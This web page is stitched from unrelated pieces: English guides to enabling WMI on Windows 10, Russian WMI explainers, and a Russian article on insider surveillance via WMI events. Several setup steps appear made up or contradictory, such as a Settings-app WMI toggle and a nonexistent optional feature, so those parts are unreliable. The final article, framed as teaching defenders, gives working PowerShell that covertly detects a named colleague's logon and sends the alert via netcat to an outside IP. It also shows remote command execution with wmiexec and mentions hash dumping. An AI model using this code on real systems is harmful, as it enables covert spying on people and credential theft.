Are you having trouble enabling WMI on your Windows 10 computer? With the right steps, you can easily enable WMI on your Windows 10 computer and access the data and information that you need. In this article, we will provide a step-by-step guide on how to enable WMI on Windows 10 so that you can access the data and information that you need with ease.
Enable WMI (Windows Management Instrumentation) on Windows 10
- Press the Windows key + R to open the Run command box.
- Type services.msc and press Enter.
- In the Services window, scroll down and look for Windows Management Instrumentation service.
- Right-click on it and click on Properties.
- In the Windows Management Instrumentation Properties window, click on the Log On tab.
- Check the “Allow services to interact with desktop” box.
- Click on Apply and OK.
- Restart the computer.
What is WMI?
Windows Management Instrumentation (WMI) is a set of specifications from Microsoft for consolidating the management of devices and applications in a Windows-based operating system. It provides users with an interface that helps them to manage and access information about their hardware, operating system, and applications. WMI can also be used to access and manage remote computers.
WMI is also used for monitoring and managing applications, such as databases, as well as for configuring and managing Windows-based operating systems. Through its use of the Component Object Model (COM) and Distributed Component Object Model (DCOM), WMI enables remote communication and management of applications and services.
How to Enable Wmi Windows 10?
Enabling WMI on Windows 10 is a simple procedure. You can use the PowerShell command prompt or the Windows 10 Settings app to enable WMI. Here’s how to do it.
Using the Windows 10 Settings App
To enable WMI using the Windows 10 Settings app, open the Settings app, select the “Update & Security” category, and then select the “Windows Security” option. On the Windows Security page, select the “Windows Management Instrumentation” option and then select the “Enable” option.
Using the PowerShell Command Prompt
To enable WMI using the PowerShell command prompt, open a PowerShell command prompt as an administrator and type the command “Enable-WindowsOptionalFeature -Online -FeatureName ‘Windows-Management-Instrumentation’”.
Configuring WMI
Once WMI is enabled, you can configure it to meet the needs of your environment. To do this, open the Control Panel and select the “Administrative Tools” option. On the Administrative Tools page, select the “Computer Management” option and then select the “Services and Applications” option.
Using the Services Console
In the Services console, select the “Windows Management Instrumentation” option and then select the “Properties” option. On the Properties page, you can configure the startup type, logon account, and other settings as needed.
Using the WMI Control Console
You can also use the WMI Control console to configure WMI. To do this, open the Control Panel, select the “Administrative Tools” option, and then select the “WMI Control” option. On the WMI Control page, select the “Properties” option and then configure the settings as needed.
Testing WMI
Once WMI is enabled and configured, you can test it to make sure it is working properly. To do this, open a PowerShell command prompt as an administrator and type the command “Get-WmiObject -Class Win32_ComputerSystem”. If WMI is working properly, the command will return information about the computer’s system.
Using the WMI Test Utility
You can also use the WMI Test Utility to test WMI. To do this, open the Control Panel and select the “Administrative Tools” option. On the Administrative Tools page, select the “WMI Test Utility” option and then select the “Test” option. The Test utility will run a series of tests to make sure WMI is working properly.
Using the WMI Explorer
The WMI Explorer is another tool that can be used to test WMI. To use the WMI Explorer, open the Control Panel and select the “Administrative Tools” option. On the Administrative Tools page, select the “WMI Explorer” option and then select the “Explore” option. The WMI Explorer will display a list of WMI objects and you can use it to test WMI.
Top 6 Frequently Asked Questions
Q1: What Is WMI?
Answer: Windows Management Instrumentation (WMI) is a set of specifications from Microsoft for consolidating the management of devices and applications in a network. It is a component of the Windows operating system that provides management information and control in an enterprise environment. WMI allows systems administrators to query and set information on desktop systems, applications, and networks. WMI can also be used to remotely execute programs on other computers.
Q2: How Do I Enable WMI on Windows 10?
Answer: You can enable WMI on Windows 10 by using the Windows Registry or the Group Policy Editor. To use the Windows Registry, open the Registry Editor and navigate to the following path: \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM. In the right pane, double-click the Autorecover MOFs value and set the Value data to 1. To use the Group Policy Editor, open the Run window (Windows key + R) and type gpedit.msc. Navigate to Computer Configuration > Administrative Templates > System > Windows Remote Management (WinRM) > WinRM Service and double-click Allow Automatic Configuration of listeners. Enable the policy.
Q3: How Do I Check If WMI Is Enabled?
Answer: To check if WMI is enabled, open the Run window (Windows key + R) and type wmimgmt.msc. This will open the Windows Management Instrumentation service. If the service is running, then WMI is enabled. You can also open the Command Prompt and type wmic and press enter. If the command is successful, WMI is enabled.
Q4: What Are the Benefits of Enabling WMI?
Answer: Enabling WMI allows you to remotely manage and monitor the machines on your network. It is also useful for automating tasks, such as deploying software or running scripts. WMI can be used to query system information, such as installed software, available disk space, and installed hardware. WMI can also be used to control services, processes, and other system tasks.
Q5: Are There Any Security Considerations When Enabling WMI?
Answer: Yes, there are security considerations when enabling WMI. By enabling WMI, you are granting remote access to the machine, which could potentially be used to gain unauthorized access to the system. To ensure that WMI is secure, it is important to properly configure the Windows Firewall and access control lists.
Q6: Is There Any Documentation on How to Enable WMI?
Answer: Yes, Microsoft provides extensive documentation on how to enable WMI on Windows 10. The documentation includes step-by-step instructions on how to enable WMI using the Windows Registry or the Group Policy Editor, as well as information on how to configure the Windows Firewall and access control lists. The documentation can be found on Microsoft’s website.
How To: Enable the WMI Monitoring Service in Windows
Now, you know how to enable WMI in Windows 10 and the benefits associated with it. WMI is a powerful feature and a great way to manage your Windows 10 system. Whether you need to get the latest information from your system or use it to monitor the performance of your hardware, WMI can help you out. Use it to your advantage and make the most out of your system!
Windows Management Instrumentation (WMI) — это компонент операционной системы Windows, который предоставляет доступ к информации о системе и ее ресурсах через API. С помощью WMI можно получить доступ к различным параметрам и настройкам операционной системы, конфигурации компьютера, процессору, памяти, дискам, сетевым интерфейсам и другим системным компонентам.
WMI предоставляет разработчикам возможность управлять и мониторить компьютеры удаленно, а также автоматизировать некоторые системные задачи. Для работы с WMI в Windows используется специальный язык запросов — WQL (WMI Query Language). WQL похож на язык SQL и позволяет осуществлять поиск и фильтрацию данных в WMI.
Для работы с WMI можно использовать различные инструменты, такие как WMI Control, WMI Object Browser, wbemtest и PowerShell. WMI Control — это графический интерфейс, который позволяет просматривать и изменять настройки WMI. WMI Object Browser — это утилита, позволяющая просматривать доступные классы и их свойства в WMI. wbemtest — это утилита командной строки, которая позволяет выполнять WQL-запросы и просматривать результаты. PowerShell — это мощный язык сценариев и командная оболочка, который также предоставляет доступ к WMI.
Использование WMI может быть полезно для администраторов систем, разработчиков программного обеспечения и всех, кто хочет получить дополнительную информацию о своей системе или автоматизировать работу с компьютером. С помощью WMI можно получать информацию о состоянии и настройках операционной системы, мониторить процессы и сервисы, управлять сетевыми настройками, а также выполнять ряд других операций, связанных с управлением компьютером и его ресурсами. Изучение WMI позволяет расширить возможности работы с операционной системой Windows и осуществлять более гибкое управление компьютером.
Содержание
- Windows Management Instrumentation: основы и принцип работы
- Что такое Windows Management Instrumentation?
- Где найти и как использовать Windows Management Instrumentation?
- Как найти Windows Management Instrumentation?
Windows Management Instrumentation: основы и принцип работы
Основной принцип работы WMI заключается в использовании объектно-ориентированной модели, где каждый управляемый объект представляет собой экземпляр класса с определенными свойствами и методами. WMI предоставляет доступ к набору стандартных классов, таких как Win32_Process, Win32_Service, Win32_NetworkAdapter и других, а также позволяет создавать пользовательские классы для управления специфическими аспектами системы.
Для работы с WMI необходимо использовать язык запросов WQL (Windows Query Language), который аналогичен SQL (Structured Query Language). WQL позволяет выполнять запросы к WMI для получения информации о состоянии системы или для выполнения управляющих операций. Запросы WQL могут быть выполнены с помощью различных инструментов, таких как командная строка (команда wmic), PowerShell и API WMI.
WMI также обеспечивает возможность получения уведомлений о событиях, происходящих в системе. Например, можно ожидать событий, связанных с изменением состояния службы или запуском нового процесса. Для этого необходимо создать экземпляр класса EventQuery, определить условия события и зарегистрировать обработчик.
В целом, WMI является мощным инструментом для управления и мониторинга системы Windows. Он предоставляет широкий набор функциональности для получения информации о состоянии системы, выполнения операций управления и обработки событий. Понимание основных принципов работы WMI позволяет эффективно использовать данные возможности и автоматизировать административные задачи на компьютерах под управлением Windows.
Что такое Windows Management Instrumentation?
WMI является стандартом для управления и мониторинга компьютеров под управлением Windows. Она предоставляет программный интерфейс для общения с различными компонентами Windows, такими как службы, драйверы, процессы и многое другое.
WMI использует объектную модель, где каждый компонент системы представлен объектом, имеющим свойства и методы. Разработчики могут использовать WMI для получения информации о системных ресурсах, выполнения административных задач или автоматизации управления компьютерами в сети.
Для работы с WMI в Windows доступны различные инструменты, включая командную строку (команду wmic), PowerShell и различные программные библиотеки, такие как C# или VBScript. С помощью этих инструментов разработчики могут запросить информацию о системе, выполнить запросы на изменение настроек и многое другое.
WMI предоставляет широкие возможности для управления системой в операционной системе Windows. Она играет важную роль в автоматизации административных задач, управлении конфигурацией и мониторинге системы.
Где найти и как использовать Windows Management Instrumentation?
Windows Management Instrumentation (WMI) представляет собой технологию, которая позволяет управлять и мониторить компьютерные ресурсы в операционной системе Windows. Она предоставляет простой и гибкий интерфейс для получения информации о системе, настройки, процессах, сетевых соединениях и многом другом.
Для использования WMI, вы можете воспользоваться следующими способами:
- Использование командной строки: откройте командную строку и введите команды вида
wmic <класс> <опции>
, где <класс> представляет собой объекты WMI, такие как Win32_Process (для получения информации о процессах) или Win32_LogicalDisk (для информации о дисках), а <опции> — дополнительные параметры. - Использование WMI-сценариев: вы можете создавать сценарии на языках, таких как VBScript или PowerShell, используя объекты и методы WMI для получения и обработки информации.
- Использование WMI Explorer: это специальная программа, которая предоставляет удобный графический интерфейс для просмотра и выполнения запросов к WMI. С ее помощью вы можете найти нужные объекты WMI, просмотреть их свойства и выполнить простые запросы.
Кроме того, вы можете найти доступную документацию о классах WMI и их свойствах на официальном сайте Microsoft или в различных онлайн-ресурсах. В документации вы найдете подробное описание каждого класса и примеры кода для получения необходимой информации.
В дополнение к этому, существуют также инструменты, которые позволяют визуализировать и анализировать данные WMI, например, Performance Monitor (PerfMon), который позволяет отслеживать производительность системы и настраивать события для мониторинга.
В заключение, Windows Management Instrumentation является мощным инструментом для управления и мониторинга системы Windows. Используйте доступные ресурсы и инструменты, чтобы максимально эффективно использовать возможности WMI.
Как найти Windows Management Instrumentation?
В Windows, WMI доступен через интерфейс командной строки (Command Line Interface, CLI) и графический интерфейс, включающий Windows Management Instrumentation Tester (wbemtest), Windows Management Infrastructure (WMI) Control Panel и Windows Management Instrumentation Command-line (wmic).
Чтобы открыть интерфейс командной строки, нажмите Win + R и введите cmd
. Затем введите команду wmic
.
Интерфейс | Команда для запуска |
---|---|
Windows Management Instrumentation Tester | wbemtest |
Windows Management Infrastructure Control Panel | wmic path win32_process call create "C:\Windows\System32\wbem\wmimgmt.msc" |
Windows Management Instrumentation Command-line | wmic |
После открытия интерфейса WMI, вы сможете просматривать и выполнять запросы к классам и пространствам имен WMI, а также получать информацию о системе, соответствующую вашим потребностям.
If you’re a Windows 10 user and you’re looking to use Windows Management Instrumentation (WMI) on your system, then this article is for you. WMI is a powerful set of tools that allows users to manage and monitor their Windows systems. In this article, we’ll guide you through the process of enabling WMI on Windows 10. We’ll also discuss the benefits of enabling WMI and the risks of doing so. So, if you’re ready to learn how to enable WMI on your Windows 10 system, let’s get started!
Enabling WMI Windows 10: To enable Windows Management Instrumentation (WMI) on Windows 10, use these steps:
- Open Start.
- Search for Services and click the top result.
- Search for Windows Management Instrumentation and double-click the top result.
- Click the Stop button.
- Click the drop-down menu next to Startup type.
- Select the Automatic option.
- Click the Apply button.
- Click the Start button.
- Click the OK button.
How to Enable Windows Management Instrumentation (WMI) in Windows 10?
Windows Management Instrumentation (WMI) is a Windows-based service that is used to collect and view system data and manage activities on Windows-based computers. It is an important part of the Windows operating system and is used by administrators to monitor and manage the system. WMI is a powerful tool that can be used to configure, monitor, and manage various aspects of Windows 10. In this article, we will show you how to enable WMI in Windows 10.
What is WMI?
Windows Management Instrumentation (WMI) is a Windows-based service that is used to collect and view system data and manage activities on Windows-based computers. It is an important part of the Windows operating system and is used by administrators to monitor and manage the system. WMI provides an interface to access and manage data on the system, such as hardware information, software information, event logs and user accounts.
Why Enable WMI on Windows 10?
Enabling WMI on Windows 10 provides an easy way to monitor, manage, and configure various aspects of the computer, such as hardware and software information, event logs, user accounts, and more. Furthermore, WMI can be used to troubleshoot and diagnose problems with the system.
How to Enable WMI in Windows 10?
Enabling WMI in Windows 10 is a simple process that can be done in a few steps. The following steps will guide you through the process of enabling WMI on Windows 10.
Step 1: Open Services Window
The first step is to open the Services window. To do this, press the Windows key + R to open the Run dialog box, then type in “services.msc” and press Enter. This will open the Services window.
Step 2: Enable WMI Service
Once the Services window is open, you need to find the Windows Management Instrumentation (WMI) service. To do this, scroll down the list of services until you find the WMI service. Right-click on the WMI service and select “Properties” from the context menu.
In the Properties window, go to the “General” tab and set the “Startup type” to “Automatic”. Then, click on the “Start” button to start the service. Once the service has started, click on the “OK” button to save the changes.
Step 3: Enable Remote WMI Access
The next step is to enable remote WMI access. To do this, go to the “Security” tab in the Properties window and enable the “Remote Enable” option. Then, click on the “OK” button to save the changes.
Step 4: Restart the Computer
Once you have enabled WMI and enabled Remote WMI access, you need to restart the computer for the changes to take effect. To restart the computer, open the Start menu, click on the “Power” button, and select “Restart”.
Once the computer is restarted, WMI should be enabled on the computer and you should be able to access and manage the system using WMI.
Related Faq
What is WMI?
WMI stands for Windows Management Instrumentation. It is a technology used by Microsoft Windows operating systems to provide a means of monitoring and managing various system components. WMI allows administrators to query and set various system settings, such as network configuration, system performance, and user accounts. It also provides a means of automating system tasks, such as installing software or backing up data.
What is Windows 10?
Windows 10 is a personal computer operating system released by Microsoft as part of the Windows NT family of operating systems. It was released on July 29, 2015 and is the successor to Windows 8.1. Windows 10 is designed to provide a more personal experience, with an emphasis on security and improved performance. It is the latest version of Windows and is available in both 32-bit and 64-bit versions.
How to Enable Wmi Windows 10?
In order to enable WMI in Windows 10, you need to open the Control Panel and go to “Administrative Tools”. Then, select “Services” and scroll down to the “Windows Management Instrumentation” service. Right-click and select “Properties”. In the “Startup type” drop-down menu, select “Automatic” and then click “Start”. Finally, click “OK” to save the changes.
What are the Benefits of WMI?
The benefits of WMI to system administrators are numerous. It provides an easy way to manage various system components, such as network configuration, system performance, and user accounts. It also provides a way to automate system tasks, such as installing software or backing up data. Additionally, WMI allows for remote management of systems, making it easier to manage multiple systems at once.
What are the Prerequisites for Enabling WMI?
In order to enable WMI on Windows 10, you need to make sure that the following prerequisites are met: the Windows Management Instrumentation (WMI) service must be running, the WMI repository must be consistent, the necessary WMI configuration settings must be set, and the necessary firewall ports must be opened.
What are the Potential Issues with Enabling WMI?
There are several potential issues that can arise when enabling WMI on Windows 10. These include security vulnerabilities, performance issues, and data corruption. Additionally, there is a risk that enabling WMI could lead to system instability. Therefore, it is important to ensure that all necessary prerequisites are met before enabling WMI.
The Windows 10 WMI feature is an invaluable asset for many IT professionals. It enables access to a wealth of system information that can be used to diagnose and troubleshoot problems. With a few simple steps, you can enable WMI on Windows 10 and take advantage of its features to make your job easier. From setting up the Windows Firewall to granting permissions, you can now easily make use of the WMI feature to get the system data you need.
Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.
Краткий обзор: что такое WMI и для чего он нужен?
Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.
В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.
Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:
Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action
Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.
Для чего используется инструментарий управления Windows
Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:
- для сбора информации о статусе локальных и удаленных компьютерных систем
- настройки параметров безопасности для удаленных компьютеров и приложений
- настройки и редактирования свойств системы
- настройки и редактирования разрешений для авторизованных пользователей и групп
- выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
- назначения и редактирования меток дисков
- создания графика выполнения процессов
- резервного копирования репозиториев объектов
- включения и отключения регистрации ошибок
Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.
Архитектура инструментария управления Windows
Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:
- Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
- Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
- Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
- Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
- Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
- Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
- Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
- API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
- Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.
Выполнение запросов WMI
Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:
- Откройте командную строку
- Введите WMIC для вызова программы и нажмите клавишу Enter
- Появится окно командной строки WMIC
- В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
WMIC CPU
- Результаты будут отображены в командной строке
Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.
Практикум по использованию событий WMI для наблюдения за системой
В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.
Использование функциональности wmiexec из Impacket
В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?
Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.
Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.
Скрытая псевдооболочка, созданная с помощью wmiexec
К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.
Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows
Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!
Использование событий WMI для наблюдения за пользователями
Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.
В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.
Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.
Вот что я набросал:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action
Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.
Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.
Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {
$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){
if ($user -eq "cruella") {
echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
}
}
}
Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.
Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.
В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.
Интеграция Netcat и WMI
Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?
Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.
Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.
Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.
Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события
Устранение недочетов в механизме наблюдения WMI
В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.
Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}
Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"
Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.
Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно
Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.
Почему при наблюдении нужно использовать постоянные события?
Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.
Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.
Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.
Постоянные события: советы для ИТ-администраторов
Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}
